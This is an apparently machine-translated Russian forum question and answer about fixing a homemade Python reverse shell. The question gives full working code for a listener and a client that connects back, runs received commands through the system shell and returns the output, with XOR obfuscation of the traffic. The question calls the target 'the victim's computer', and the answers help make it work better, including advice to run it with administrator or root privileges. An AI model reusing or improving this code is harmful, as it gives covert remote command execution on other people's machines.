2016-07-14 2 views
0

У меня есть следующий слушатель и обратные оболочки в Python:обратная оболочка с помощью Python

Слушатель:

import socket 

s= socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(("0.0.0.0", 443)) 
s.listen(2) 
print "Listening on port 443... " 
(client, (ip, port)) = s.accept() 
print " Received connection from : ", ip 

while True: 
command = raw_input('~$ ') 
encode = bytearray(command) 
for i in range(len(encode)): 
    encode[i] ^=0x41 
client.send(encode) 
en_data=client.recv(2048) 
decode = bytearray(en_data) 
for i in range(len(decode)): 
    decode[i] ^=0x41 
print decode 

client.close() 
s.close() 

обратной оболочка:

import socket, subprocess, sys 

RHOST = '127.0.0.1' #sys.argv[1] 
RPORT = 443 
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.connect((RHOST, RPORT)) 

while True: 
    #receive encoded data 
    en_comm = s.recv(1024) 
    #decoded the received command 
    de_comm = bytearray(en_comm) 
    for i in range(len(de_comm)): 
     de_comm[i] ^= 0x41 

    #execute the clear text comamnd after decode it 
    clrtxt_comm = subprocess.Popen(str(de_comm), shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE) 
    output, STDERR = clrtxt_comm.communicate() 

    #encode the command output and send it over ssl 
    en_output = bytearray(output) 
    for i in range(len(en_output)): 
     en_output[i] ^= 0x41 
    s.send(en_output) 

s.close() 

После запуска слушателя и вызвать обратный shell, он работает нормально и открывает оболочку на компьютере-жертве, но самое главное, что при отправке команд типа «cd ..» или «mkdir foldername» (в случае Windows) он застревает в одном и том же входе и не идет дальше э.

Вы видите/понимаете, в чем проблема в коде?

Большое спасибо!

ответ

0

Я предполагаю, что у вас есть несколько проблем.

первую очередь

вам нужно добавить что-то вроде этого для команд, которые возвращают не выход, как компакт-диск:

if not en_output: 
    en_output = bytearray("no output") 
for i in range(len(en_output)): 
    en_output[i] ^= 0x41 

s.send(en_output) 

во-вторых, при открытии процесса для выполнения компакт-диск не изменить путь сценария обратной оболочки. для этого вам придется вводить новый путь в os.chdir() или делать что-то эквивалентное (лучше всего, просто подключите его к команде с выходом вроде ls).

В-третьих, обратная оболочка может быть изолирована песочницей и поэтому не может выполнить некоторые из приведенных выше команд.

+1

Прежде всего, спасибо за ответ. Я изменю то, о чем вы говорили. Но прежде, что все песочница? Другой вопрос, я видел, как люди это делали, используя netcat в качестве слушателя и используя dup2() в качестве обратной оболочки, и это действительно работает. Это лучше или что? Спасибо – user2315506

+0

песочница означает, что каждый процесс имеет виртуальную память из файлов, к которой разрешен доступ к e.i. читать, писать, выполнять (и sys-вызовы, которые он может использовать, но это для другого дня). Обычно процесс python (и все его дочерние процессы) может выполняться с привилегиями, которые разрешают доступ к файлам в его каталоге или в более крупной изолированной среде (например, все файлы пользователя или все файлы в системе). Мгновенные подробности песочницы очень разные в каждой ОС. Во-первых, в Windows попробуйте вызвать скрипт reverse_shell.py из командной строки администратора, в linux попробуйте выполнить команду root –

Смежные вопросы